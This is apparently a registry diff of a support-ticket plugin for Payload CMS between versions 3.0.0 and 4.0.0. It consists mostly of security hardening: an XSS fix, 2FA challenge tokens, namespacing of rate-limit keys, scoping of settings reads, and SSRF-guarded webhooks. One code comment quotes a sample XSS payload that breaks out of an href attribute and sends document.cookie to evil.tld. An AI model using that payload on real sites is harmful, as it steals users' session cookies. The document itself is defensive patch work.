@consilioweb/payload-support 3.0.0 → 4.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (43) hide show
  1. package/README.md +36 -2
  2. package/dist/index.cjs +558 -94
  3. package/dist/index.d.cts +20 -5
  4. package/dist/index.d.ts +20 -5
  5. package/dist/index.js +558 -94
  6. package/package.json +1 -1
  7. package/src/collections/ChatMessages.ts +59 -2
  8. package/src/collections/ClientSummaries.ts +10 -4
  9. package/src/collections/TicketMessages.ts +4 -1
  10. package/src/collections/WebhookEndpoints.ts +44 -2
  11. package/src/endpoints/admin-chat.ts +3 -3
  12. package/src/endpoints/ai-agent.ts +3 -3
  13. package/src/endpoints/ai.ts +3 -3
  14. package/src/endpoints/auth-2fa.ts +16 -4
  15. package/src/endpoints/capabilities.ts +6 -6
  16. package/src/endpoints/chat.ts +7 -5
  17. package/src/endpoints/chatbot.ts +48 -2
  18. package/src/endpoints/client-intelligence.ts +4 -4
  19. package/src/endpoints/email-stats.ts +19 -3
  20. package/src/endpoints/import-conversation.ts +1 -1
  21. package/src/endpoints/index.ts +1 -1
  22. package/src/endpoints/invite-collaborator.ts +29 -3
  23. package/src/endpoints/login.ts +15 -2
  24. package/src/endpoints/oauth-google.ts +130 -8
  25. package/src/endpoints/resend-notification.ts +3 -3
  26. package/src/endpoints/send-reminder.ts +3 -3
  27. package/src/endpoints/signature.ts +9 -2
  28. package/src/endpoints/ticket-synthesis.ts +3 -3
  29. package/src/endpoints/transfer-ticket.ts +28 -3
  30. package/src/endpoints/typing.ts +117 -14
  31. package/src/endpoints/user-prefs.ts +5 -2
  32. package/src/plugin.ts +12 -0
  33. package/src/portal/auth/layout.tsx +19 -1
  34. package/src/portal/auth/tickets/detail/MessageBody.tsx +88 -0
  35. package/src/portal/auth/tickets/detail/page.tsx +2 -6
  36. package/src/portal/login/page.tsx +11 -3
  37. package/src/utils/fireWebhooks.ts +4 -1
  38. package/src/utils/rateLimiter.ts +39 -5
  39. package/src/utils/readSettings.ts +124 -14
  40. package/src/utils/ticketAccess.ts +16 -1
  41. package/src/utils/twoFactorChallenge.ts +80 -0
  42. package/src/utils/urlSafety.ts +230 -0
  43. package/src/utils/webhookDispatcher.ts +5 -1
@@ -0,0 +1,88 @@
1
+ import React from 'react'
2
+
3
+ /**
4
+ * Plain-text message bodies (`msg.body` with no `bodyHtml`) rendered as JSX.
5
+ *
6
+ * This used to be a `dangerouslySetInnerHTML` fed by a hand-rolled escaper that
7
+ * replaced `&`, `<` and `>` but NOT the double quote, then re-injected the link
8
+ * target into `href="$2"`. Since the URL pattern accepts every character but
9
+ * whitespace and `)`, a body such as
10
+ *
11
+ * [code:1](https://a"/onmouseover="fetch(`//evil.tld/?c=`+document.cookie))
12
+ *
13
+ * closed the `href` attribute and added a real event-handler attribute.
14
+ * `msg.body` is attacker-controlled from OUTSIDE the tenant: the inbound-email
15
+ * pipeline copies `pendingEmail.body` verbatim into a ticket message
16
+ * (`endpoints/pending-emails-process.ts`), and `sanitizeMessageHtml` only ever
17
+ * looks at `bodyHtml`.
18
+ *
19
+ * The fix is to stop building HTML: React escapes text nodes and attribute
20
+ * values on its own, so no quoting mistake is possible. The URL is additionally
21
+ * parsed and restricted to http/https before it reaches an `href`.
22
+ *
23
+ * Newlines need no `<br/>`: the wrapper carries `whitespace-pre-wrap`.
24
+ */
25
+
26
+ /** `[code:12](https://…)` — the shared-code link marker posted by the agent console. */
27
+ const CODE_LINK_RE = /\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g
28
+
29
+ /** Returns the URL only when it parses AND uses an http(s) scheme; null otherwise. */
30
+ export function safeHttpUrl(raw: string): string | null {
31
+ try {
32
+ const url = new URL(raw)
33
+ if (url.protocol !== 'http:' && url.protocol !== 'https:') return null
34
+ return url.toString()
35
+ } catch {
36
+ return null
37
+ }
38
+ }
39
+
40
+ /**
41
+ * Split a plain-text body into text nodes and `<a>` elements.
42
+ * Exported (rather than inlined in the page) so the escaping contract is
43
+ * unit-testable — the page itself imports `@payload-config` and cannot be
44
+ * loaded from a test.
45
+ */
46
+ export function renderPlainMessageBody(body: string): React.ReactNode[] {
47
+ const nodes: React.ReactNode[] = []
48
+ const re = new RegExp(CODE_LINK_RE.source, 'g')
49
+ let lastIndex = 0
50
+ let match: RegExpExecArray | null
51
+
52
+ while ((match = re.exec(body)) !== null) {
53
+ if (match.index > lastIndex) nodes.push(body.slice(lastIndex, match.index))
54
+
55
+ const href = safeHttpUrl(match[2])
56
+ if (href) {
57
+ nodes.push(
58
+ <a
59
+ key={`code-${match.index}`}
60
+ href={href}
61
+ target="_blank"
62
+ rel="noopener noreferrer"
63
+ className="text-blue-600 underline font-semibold"
64
+ >
65
+ 🔗 Voir le code partagé
66
+ </a>,
67
+ )
68
+ } else {
69
+ // Not a usable link — show the raw marker as text rather than dropping it.
70
+ nodes.push(match[0])
71
+ }
72
+
73
+ lastIndex = match.index + match[0].length
74
+ }
75
+
76
+ if (lastIndex < body.length) nodes.push(body.slice(lastIndex))
77
+ return nodes
78
+ }
79
+
80
+ export function PlainMessageBody({ body }: { body: string }) {
81
+ return (
82
+ <div className="whitespace-pre-wrap text-sm leading-relaxed">
83
+ {renderPlainMessageBody(body ?? '').map((node, i) => (
84
+ <React.Fragment key={i}>{node}</React.Fragment>
85
+ ))}
86
+ </div>
87
+ )
88
+ }
@@ -16,6 +16,7 @@ import { TypingIndicator } from './TypingIndicator'
16
16
  import { MessageActions, EditedBadge, DeletedMessage } from './MessageActions'
17
17
  import { ReadReceipt } from './ReadReceipt'
18
18
  import { TransferAndInviteActions } from './TransferAndInviteActions'
19
+ import { PlainMessageBody } from './MessageBody'
19
20
  // Document type for ticket attachments
20
21
  type PayloadDocument = { filename?: string; title?: string; url?: string }
21
22
 
@@ -655,12 +656,7 @@ export default async function TicketDetailPage({ params }: { params: Promise<{ i
655
656
  dangerouslySetInnerHTML={{ __html: msg.bodyHtml }}
656
657
  />
657
658
  ) : (
658
- <div className="whitespace-pre-wrap text-sm leading-relaxed" dangerouslySetInnerHTML={{
659
- __html: msg.body
660
- .replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
661
- .replace(/\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g, '<a href="$2" target="_blank" rel="noopener noreferrer" class="text-blue-600 underline font-semibold">🔗 Voir le code partagé</a>')
662
- .replace(/\n/g, '<br/>')
663
- }} />
659
+ <PlainMessageBody body={msg.body} />
664
660
  )}
665
661
 
666
662
  {/* Attachments */}
@@ -32,6 +32,10 @@ function SupportLoginContent() {
32
32
 
33
33
  // 2FA state
34
34
  const [needs2FA, setNeeds2FA] = useState(false)
35
+ // Proof that the password step succeeded, minted by /support/login. Required
36
+ // by /support/2fa {action:'send'} — that endpoint no longer sends a code to
37
+ // anyone who merely knows the address.
38
+ const [challenge, setChallenge] = useState('')
35
39
  const [twoFactorCode, setTwoFactorCode] = useState('')
36
40
  const [sending2FA, setSending2FA] = useState(false)
37
41
 
@@ -60,10 +64,11 @@ function SupportLoginContent() {
60
64
  if (data.requires2FA) {
61
65
  // Send 2FA code
62
66
  setSending2FA(true)
67
+ setChallenge(data.challenge || '')
63
68
  const codeRes = await fetch('/api/support/2fa', {
64
69
  method: 'POST',
65
70
  headers: { 'Content-Type': 'application/json' },
66
- body: JSON.stringify({ action: 'send', email }),
71
+ body: JSON.stringify({ action: 'send', email, challenge: data.challenge }),
67
72
  })
68
73
 
69
74
  if (codeRes.ok) {
@@ -130,12 +135,15 @@ function SupportLoginContent() {
130
135
  const res = await fetch('/api/support/2fa', {
131
136
  method: 'POST',
132
137
  headers: { 'Content-Type': 'application/json' },
133
- body: JSON.stringify({ action: 'send', email }),
138
+ body: JSON.stringify({ action: 'send', email, challenge }),
134
139
  })
135
140
  if (res.ok) {
136
141
  setError('')
137
142
  } else {
138
- setError('Erreur lors du renvoi du code.')
143
+ // 401 = the challenge expired (10 min): the password must be re-entered.
144
+ setError(res.status === 401
145
+ ? 'Session expirée. Reconnectez-vous pour recevoir un nouveau code.'
146
+ : 'Erreur lors du renvoi du code.')
139
147
  }
140
148
  } catch {
141
149
  setError('Erreur de connexion.')
@@ -1,6 +1,7 @@
1
1
  import type { Payload } from 'payload'
2
2
  import type { CollectionSlugs } from './slugs'
3
3
  import { dbFind, dbUpdate } from './db'
4
+ import { safeFetch } from './urlSafety'
4
5
 
5
6
  /**
6
7
  * Fire all active webhooks matching the given event.
@@ -39,7 +40,9 @@ export async function fireWebhooks(
39
40
  await Promise.allSettled(
40
41
  endpoints.docs.map(async (endpoint: any) => {
41
42
  try {
42
- const res = await fetch(endpoint.url, {
43
+ // Same SSRF guards as `dispatchWebhook` — this transport is deprecated
44
+ // but still exported, so it must not stay an open door.
45
+ const res = await safeFetch(endpoint.url, {
43
46
  method: 'POST',
44
47
  headers: {
45
48
  'Content-Type': 'application/json',
@@ -119,27 +119,61 @@ export class PayloadRateLimitStore implements RateLimitStore {
119
119
  }
120
120
  }
121
121
 
122
+ /**
123
+ * Identity part of a rate-limit key for an authenticated caller.
124
+ *
125
+ * Ids are per-collection sequences: support-client #7 and agent #7 are different
126
+ * people with the same `id`. Keying a limiter on `String(user.id)` alone let one
127
+ * consume the other's budget, so the auth collection travels with the id.
128
+ */
129
+ export function principalRateKey(
130
+ user: { id?: unknown; collection?: unknown } | null | undefined,
131
+ ): string {
132
+ if (!user || user.id === undefined || user.id === null) return 'anonymous'
133
+ const collection = typeof user.collection === 'string' && user.collection ? user.collection : 'unknown'
134
+ return `${collection}:${String(user.id)}`
135
+ }
136
+
122
137
  export class RateLimiter {
123
138
  private readonly store: RateLimitStore
124
-
139
+ private readonly prefix: string
140
+
141
+ /**
142
+ * @param namespace Endpoint-scoped prefix for every key this limiter writes.
143
+ * The store is SHARED (`rateLimitStore: 'payload'` builds one instance for
144
+ * all endpoints), and the raw keys collide across endpoints: `ip` was used
145
+ * by both the login and the chatbot limiter — 10 forged chatbot requests
146
+ * locked a victim out of the portal for 15 minutes — and `String(user.id)`
147
+ * by five different endpoints. Always pass one; it is optional only because
148
+ * `RateLimiter` is part of the published API surface.
149
+ */
125
150
  constructor(
126
151
  private readonly windowMs: number,
127
152
  private readonly maxRequests: number,
128
153
  store?: RateLimitStore,
154
+ namespace?: string,
129
155
  ) {
130
156
  this.store = store ?? new MemoryRateLimitStore()
157
+ this.prefix = namespace ? `${namespace}:` : ''
158
+ }
159
+
160
+ /** The key actually written to the store. Exposed for assertions in tests. */
161
+ scopedKey(key: string): string {
162
+ return `${this.prefix}${key}`
131
163
  }
132
164
 
133
165
  async check(key: string, context?: unknown): Promise<boolean> {
166
+ const scoped = this.scopedKey(key)
134
167
  const entry = context === undefined
135
- ? await this.store.increment(key, this.windowMs)
136
- : await this.store.increment(key, this.windowMs, context)
168
+ ? await this.store.increment(scoped, this.windowMs)
169
+ : await this.store.increment(scoped, this.windowMs, context)
137
170
  return entry.count > this.maxRequests
138
171
  }
139
172
 
140
173
  async reset(key: string, context?: unknown): Promise<void> {
141
- if (context === undefined) await this.store.reset(key)
142
- else await this.store.reset(key, context)
174
+ const scoped = this.scopedKey(key)
175
+ if (context === undefined) await this.store.reset(scoped)
176
+ else await this.store.reset(scoped, context)
143
177
  }
144
178
  }
145
179
  import { commitTransaction, initTransaction, killTransaction, type PayloadRequest } from 'payload'
@@ -13,6 +13,50 @@ const USER_PREFS_KEY_PREFIX = 'support-user-prefs'
13
13
  /** Pre-2.1 standalone round-robin row — read as a fallback, then folded into `features`. */
14
14
  const LEGACY_ROUND_ROBIN_KEY = 'support-round-robin'
15
15
 
16
+ /**
17
+ * Key under which `plugin.ts` publishes the resolved staff collection slug on
18
+ * `config.custom`. It is the ONE source of truth shared by the read path (here)
19
+ * and the write path (`requireAdmin` → `slugs.users`).
20
+ */
21
+ export const SUPPORT_STAFF_SLUG_CONFIG_KEY = 'supportStaffCollection'
22
+
23
+ /**
24
+ * Owner scope for every `payload-preferences` row this plugin reads back.
25
+ *
26
+ * `payload-preferences` is writable by ANY authenticated principal, whatever its
27
+ * auth collection: Payload's `POST /api/payload-preferences/:key` handler only
28
+ * checks `!!req.user` before upserting the row. Reading a plugin-wide row by key
29
+ * alone therefore lets a front-office user (or a support-client) plant their own
30
+ * row and have the whole plugin read it — replyTo addresses, SLA escalation
31
+ * address, AI provider, feature flags.
32
+ *
33
+ * Every read below is constrained to `user.relationTo = <staff collection>`, the
34
+ * same scope the WRITE path already uses (endpoints/settings.ts, signature.ts,
35
+ * user-prefs.ts all upsert with `req.user.collection`, and all three are guarded
36
+ * by `requireAdmin`, which compares against `slugs.users`).
37
+ *
38
+ * TWO SOURCES OF TRUTH WERE THE BUG: this used to resolve the scope from
39
+ * `config.admin.user`, which Payload defaults to the FIRST auth collection of
40
+ * the app when the integrator did not declare it (config/sanitize.js). On a host
41
+ * whose first auth collection is the front office and whose staff collection is
42
+ * declared through `collectionSlugs.users`, the read scope named the front
43
+ * office while the write scope named the staff — and the poisoning this scope
44
+ * was added to defeat was open again. So the plugin now PUBLISHES the resolved
45
+ * `slugs.users` on `config.custom` (see plugin.ts) and reads it back here.
46
+ * `config.admin.user` remains a last-resort fallback for callers using these
47
+ * helpers outside of a plugin-built config; there is no plugin deployment in
48
+ * which it is consulted.
49
+ */
50
+ export function resolveStaffPrefSlug(payload: Payload, staffSlug?: string): string {
51
+ if (staffSlug) return staffSlug
52
+ const config = (payload as unknown as {
53
+ config?: { admin?: { user?: string }; custom?: Record<string, unknown> }
54
+ }).config
55
+ const registered = config?.custom?.[SUPPORT_STAFF_SLUG_CONFIG_KEY]
56
+ if (typeof registered === 'string' && registered) return registered
57
+ return config?.admin?.user || 'users'
58
+ }
59
+
16
60
  export interface SupportSettings {
17
61
  email: { fromAddress: string; fromName: string; replyToAddress: string }
18
62
  ai: { provider: string; model: string; enableSentiment: boolean; enableSynthesis: boolean; enableSuggestion: boolean; enableRewrite: boolean }
@@ -44,8 +88,17 @@ export const DEFAULT_USER_PREFS: UserPrefs = {
44
88
  // (the afterChange hook chain). The settings doc changes rarely, so a short TTL
45
89
  // + explicit invalidation on save (endpoints/settings.ts) avoids redundant DB
46
90
  // reads of the same `payload-preferences` row.
47
- let settingsCache: { value: SupportSettingsState; ts: number } | null = null
91
+ // Keyed by the STAFF SLUG the read was scoped to: a single shared slot would
92
+ // serve one install's (or one test's) settings to another whose scope differs.
93
+ // Bounded — the key comes from config, never from a request — but capped anyway
94
+ // so an integrator calling the exported helper with arbitrary slugs cannot grow
95
+ // it without limit.
96
+ const settingsCache = new Map<string, { value: SupportSettingsState; ts: number }>()
48
97
  const SETTINGS_TTL_MS = 60_000
98
+ const SETTINGS_CACHE_MAX = 8
99
+
100
+ /** Rate-limits the "settings row exists but is not staff-owned" warning, per scope. */
101
+ const warnedForeignSettingsRow = new Set<string>()
49
102
 
50
103
  export interface SupportSettingsState {
51
104
  settings: SupportSettings
@@ -59,7 +112,8 @@ export interface SupportSettingsState {
59
112
 
60
113
  /** Invalidate the settings cache — call right after writing support settings. */
61
114
  export function invalidateSupportSettingsCache(): void {
62
- settingsCache = null
115
+ settingsCache.clear()
116
+ warnedForeignSettingsRow.clear()
63
117
  }
64
118
 
65
119
  /**
@@ -85,9 +139,14 @@ export function mergeSupportSettings(
85
139
  }
86
140
  }
87
141
 
88
- export async function readSupportSettingsState(payload: Payload): Promise<SupportSettingsState> {
89
- if (settingsCache && Date.now() - settingsCache.ts < SETTINGS_TTL_MS) {
90
- return settingsCache.value
142
+ export async function readSupportSettingsState(
143
+ payload: Payload,
144
+ staffSlug?: string,
145
+ ): Promise<SupportSettingsState> {
146
+ const staff = resolveStaffPrefSlug(payload, staffSlug)
147
+ const cached = settingsCache.get(staff)
148
+ if (cached && Date.now() - cached.ts < SETTINGS_TTL_MS) {
149
+ return cached.value
91
150
  }
92
151
  let value: SupportSettingsState = {
93
152
  settings: mergeSupportSettings(null),
@@ -95,7 +154,10 @@ export async function readSupportSettingsState(payload: Payload): Promise<Suppor
95
154
  }
96
155
  try {
97
156
  const prefs = await dbFind(payload, 'payload-preferences', {
98
- where: { key: { equals: PREF_KEY } },
157
+ // Sibling keys are AND-ed by Payload. The `user.relationTo` clause is the
158
+ // security boundary: without it any authenticated principal can plant a
159
+ // `support-settings` row and own the plugin's server settings.
160
+ where: { key: { equals: PREF_KEY }, 'user.relationTo': { equals: staff } },
99
161
  // The upsert is scoped per admin user, so several rows can share the key.
100
162
  // Sorting makes "last write wins" deterministic instead of arbitrary.
101
163
  sort: '-updatedAt',
@@ -110,24 +172,63 @@ export async function readSupportSettingsState(payload: Payload): Promise<Suppor
110
172
  // Honour it until the first save writes `features` — after that the
111
173
  // legacy row is ignored, and both write paths land in `features`.
112
174
  if (!featuresConfigured) {
113
- settings.features.roundRobin = await readLegacyRoundRobin(payload)
175
+ settings.features.roundRobin = await readLegacyRoundRobin(payload, staff)
114
176
  }
115
177
 
116
178
  value = { settings, featuresConfigured }
179
+ } else {
180
+ await warnOnForeignSettingsRow(payload, staff)
117
181
  }
118
182
  } catch { /* fallback to defaults */ }
119
- settingsCache = { value, ts: Date.now() }
183
+ if (settingsCache.size >= SETTINGS_CACHE_MAX && !settingsCache.has(staff)) settingsCache.clear()
184
+ settingsCache.set(staff, { value, ts: Date.now() })
120
185
  return value
121
186
  }
122
187
 
123
- export async function readSupportSettings(payload: Payload): Promise<SupportSettings> {
124
- return (await readSupportSettingsState(payload)).settings
188
+ /**
189
+ * The scoped read came back empty. That is normal on a fresh install, but it is
190
+ * also what an operator sees when the settings row was written under another
191
+ * owner than the resolved staff collection: the row exists, is ignored,
192
+ * and the whole plugin silently runs on the defaults — a `try/catch` away from
193
+ * any signal. So: if a row with this key exists under ANOTHER owner, say so.
194
+ *
195
+ * Same message covers the other case, deliberately: a `support-settings` row
196
+ * owned by a non-staff principal is exactly the poisoning attempt this scope was
197
+ * added to defeat, and the operator should hear about it. Once per cache window
198
+ * at most (the extra query only runs when nothing was found).
199
+ */
200
+ async function warnOnForeignSettingsRow(payload: Payload, staff: string): Promise<void> {
201
+ if (warnedForeignSettingsRow.has(staff)) return
202
+ try {
203
+ const any = await dbFind(payload, 'payload-preferences', {
204
+ where: { key: { equals: PREF_KEY } },
205
+ limit: 1, depth: 0, overrideAccess: true,
206
+ })
207
+ if (any.docs.length === 0) return // fresh install — nothing to report
208
+ if (warnedForeignSettingsRow.size >= SETTINGS_CACHE_MAX) warnedForeignSettingsRow.clear()
209
+ warnedForeignSettingsRow.add(staff)
210
+ console.warn(
211
+ `[support] A "${PREF_KEY}" preference row exists but none is owned by the "${staff}" collection: ` +
212
+ 'the plugin is running on its DEFAULT settings. Either the staff auth collection differs from ' +
213
+ '`admin.user`, or the row was written by a principal that is not staff — in which case it is ' +
214
+ 'ignored on purpose.',
215
+ )
216
+ } catch {
217
+ /* diagnostic only — never let it change the outcome */
218
+ }
219
+ }
220
+
221
+ export async function readSupportSettings(
222
+ payload: Payload,
223
+ staffSlug?: string,
224
+ ): Promise<SupportSettings> {
225
+ return (await readSupportSettingsState(payload, staffSlug)).settings
125
226
  }
126
227
 
127
- async function readLegacyRoundRobin(payload: Payload): Promise<boolean> {
228
+ async function readLegacyRoundRobin(payload: Payload, staff: string): Promise<boolean> {
128
229
  try {
129
230
  const prefs = await dbFind(payload, 'payload-preferences', {
130
- where: { key: { equals: LEGACY_ROUND_ROBIN_KEY } },
231
+ where: { key: { equals: LEGACY_ROUND_ROBIN_KEY }, 'user.relationTo': { equals: staff } },
131
232
  limit: 1, depth: 0, overrideAccess: true,
132
233
  })
133
234
  if (prefs.docs.length > 0) {
@@ -137,11 +238,20 @@ async function readLegacyRoundRobin(payload: Payload): Promise<boolean> {
137
238
  return DEFAULT_TICKETING_FEATURES.roundRobin
138
239
  }
139
240
 
140
- export async function readUserPrefs(payload: Payload, userId: string | number): Promise<UserPrefs> {
241
+ export async function readUserPrefs(
242
+ payload: Payload,
243
+ userId: string | number,
244
+ staffSlug?: string,
245
+ ): Promise<UserPrefs> {
141
246
  try {
142
247
  const key = `${USER_PREFS_KEY_PREFIX}-${userId}`
248
+ // Ids collide across auth collections: a support-client with id 7 would
249
+ // otherwise own `support-user-prefs-7`, the row read back for agent 7.
143
250
  const prefs = await dbFind(payload, 'payload-preferences', {
144
- where: { key: { equals: key } },
251
+ where: {
252
+ key: { equals: key },
253
+ 'user.relationTo': { equals: resolveStaffPrefSlug(payload, staffSlug) },
254
+ },
145
255
  limit: 1, depth: 0, overrideAccess: true,
146
256
  })
147
257
  if (prefs.docs.length > 0) {
@@ -13,11 +13,24 @@ import { dbFind } from './db'
13
13
  *
14
14
  * Returns an empty array when the client has no accessible tickets — callers MUST
15
15
  * treat that as "deny" (e.g. filter on a sentinel id) rather than "allow all".
16
+ *
17
+ * `mode` selects which of the two scopes is wanted:
18
+ * - `'read'` (default) — owned tickets + every ticket collaborated on, whatever
19
+ * the role. This is the historical behaviour and what `access.read` needs.
20
+ * - `'write'` — owned tickets + collaborated tickets whose row carries
21
+ * `role === 'collaborator'`. The invitation endpoint offers two roles and the
22
+ * invitation email promises "lecteur (consultation)" for `viewer`, but nothing
23
+ * ever read the field back: a viewer could post into the thread and trigger the
24
+ * whole notification chain. Rows with no explicit role are treated as viewers
25
+ * (the collection's own `defaultValue`), i.e. read-only — fail closed.
16
26
  */
27
+ export type TicketAccessMode = 'read' | 'write'
28
+
17
29
  export async function resolveAccessibleTicketIds(
18
30
  payload: Payload,
19
31
  slugs: CollectionSlugs,
20
32
  clientId: number | string,
33
+ mode: TicketAccessMode = 'read',
21
34
  ): Promise<Array<number | string>> {
22
35
  const ids = new Set<number | string>()
23
36
 
@@ -41,7 +54,9 @@ export async function resolveAccessibleTicketIds(
41
54
  overrideAccess: true,
42
55
  })
43
56
  for (const r of collab.docs) {
44
- const row = r as { ticket?: number | string | { id?: number | string } }
57
+ const row = r as { ticket?: number | string | { id?: number | string }; role?: string }
58
+ // `viewer` (and any row without an explicit role) grants read only.
59
+ if (mode === 'write' && row.role !== 'collaborator') continue
45
60
  const tid = typeof row.ticket === 'object' ? row.ticket?.id : row.ticket
46
61
  if (tid !== undefined && tid !== null) ids.add(tid)
47
62
  }
@@ -0,0 +1,80 @@
1
+ import { createHmac, timingSafeEqual } from 'crypto'
2
+
3
+ /**
4
+ * Proof that the password step already succeeded for this email address.
5
+ *
6
+ * `POST /support/2fa {action:'send'}` used to accept an email and nothing else.
7
+ * Its only guard was a limiter keyed on that email — 3 sends per hour — so an
8
+ * ANONYMOUS caller who knew a victim's address (they circulate in ticket threads
9
+ * and email copies) could burn the quota in three requests and leave the victim
10
+ * unable to obtain the code their own login now demands. Since the OAuth path
11
+ * enforces 2FA as well, that was a complete, renewable account lockout, plus an
12
+ * outbound-email amplifier and a way to overwrite a code already in flight.
13
+ *
14
+ * The fix keys the consumable resource to something the ATTACKER cannot produce:
15
+ * a short-lived signature issued only by a successful password (or Google)
16
+ * authentication. Same HMAC-over-PAYLOAD_SECRET construction as the tracking
17
+ * pixel, no storage, no new dependency.
18
+ *
19
+ * Format: `<expiry-ms>.<hex hmac>`. The signature covers the email AND the
20
+ * expiry, so neither can be swapped without invalidating the token, and a token
21
+ * issued for one account is useless for another.
22
+ */
23
+
24
+ /** Matches the 10-minute validity of the code the challenge lets you request. */
25
+ export const TWO_FACTOR_CHALLENGE_TTL_MS = 10 * 60 * 1000
26
+
27
+ function challengeSecret(): string {
28
+ const secret = process.env.PAYLOAD_SECRET
29
+ if (!secret) {
30
+ // Fail closed: the codes themselves are hashed with this secret, so 2FA is
31
+ // already inoperable without it — never fall back to a source-visible value.
32
+ throw new Error(
33
+ '[support][2fa] PAYLOAD_SECRET is not set — refusing to issue a 2FA challenge with an insecure fallback secret',
34
+ )
35
+ }
36
+ return secret
37
+ }
38
+
39
+ function normalizeEmail(email: string): string {
40
+ return String(email).trim().toLowerCase()
41
+ }
42
+
43
+ function sign(email: string, expiresAt: number): string {
44
+ return createHmac('sha256', challengeSecret())
45
+ .update(`2fa-challenge:${normalizeEmail(email)}:${expiresAt}`)
46
+ .digest('hex')
47
+ }
48
+
49
+ /** Issued by the login endpoints once credentials have been verified. */
50
+ export function issueTwoFactorChallenge(email: string, now: number = Date.now()): string {
51
+ const expiresAt = now + TWO_FACTOR_CHALLENGE_TTL_MS
52
+ return `${expiresAt}.${sign(email, expiresAt)}`
53
+ }
54
+
55
+ /** Constant-time; false on any malformed, expired or foreign token. */
56
+ export function verifyTwoFactorChallenge(
57
+ email: unknown,
58
+ token: unknown,
59
+ now: number = Date.now(),
60
+ ): boolean {
61
+ if (typeof email !== 'string' || !email || typeof token !== 'string') return false
62
+ const separator = token.indexOf('.')
63
+ if (separator <= 0) return false
64
+
65
+ const expiresAt = Number(token.slice(0, separator))
66
+ if (!Number.isSafeInteger(expiresAt) || expiresAt <= now) return false
67
+
68
+ const received = token.slice(separator + 1)
69
+ if (!/^[0-9a-f]{64}$/i.test(received)) return false
70
+
71
+ let expected: string
72
+ try {
73
+ expected = sign(email, expiresAt)
74
+ } catch {
75
+ return false // no secret configured — fail closed
76
+ }
77
+ const a = Buffer.from(expected, 'hex')
78
+ const b = Buffer.from(received.toLowerCase(), 'hex')
79
+ return a.length === b.length && timingSafeEqual(a, b)
80
+ }